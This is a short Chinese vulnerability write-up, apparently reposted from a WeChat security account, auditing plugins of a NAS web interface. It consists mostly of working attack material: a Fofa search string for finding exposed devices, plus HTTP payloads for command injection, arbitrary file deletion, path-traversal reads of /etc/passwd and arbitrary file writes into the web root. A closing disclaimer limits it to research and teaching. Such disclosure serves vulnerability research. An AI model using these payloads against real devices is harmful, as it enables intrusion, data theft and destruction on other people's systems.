0x00 前言
Fofa:”/webGui/images/banner.png”
0x01 community.applications 插件
任意命令执行
定位到一处命令执行
GET传入了docker参数,之后带入下方的Exec()去执行造成命令执行.
Payload:
/plugins/community.applications/scripts/installMulti.php?docker=222|cat /etc/passwd >1.txt
0x02 Dynamix 插件
任意文件删除
/plugins/dynamix/include/Download.php
这里的Unlink函数调用了exec()来删除文件 造成删除
Payload(值得注意的是 执行带Switch里的函数 需要带上Csrf_Token):
POST /plugins/dynamix/include/Download.php
csrf_token=9855BE5478D13A31&cmd=unlink&file=1.txt
任意命令执行
又定位到一处命令执行 /plugins/dynamix/include/FileSystemStatus.php
传递cmd参数为switch的action后 shell_exec()造成命令执行
Payload:
POST /plugins/dynamix/include/FileSystemStatus.php
csrf_token=9855BE5478D13A31&cmd=scrub&path=cat /etc/passwd >2.txt
任意文件读取
定位到一处文件读取操作函数 /plugins/dynamix/include/SelectCase.php
发现file model mode函数为用户可控,又带入下方的File_get_contents()函数中即造成文件读取.
Payload:
POST /plugins/dynamix/include/SelectCase.php?file=../../../../etc/passwd
csrf_token=9855BE5478D13A31&mode=get
/plugins/dynamix/include/SelectCase.php
同样是这个点 还有个Set子函数调用的,调用file_put_contents()函数写入文件,其参数都可控 造成任意文件写入.
Payload (根目录写入文件):
POST /plugins/dynamix/include/SelectCase.php?file=../../../../usr/local/emhttp/2.txt
csrf_token=9855BE5478D13A31&mode=set&model=Bypass 202
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):某NAS设备审计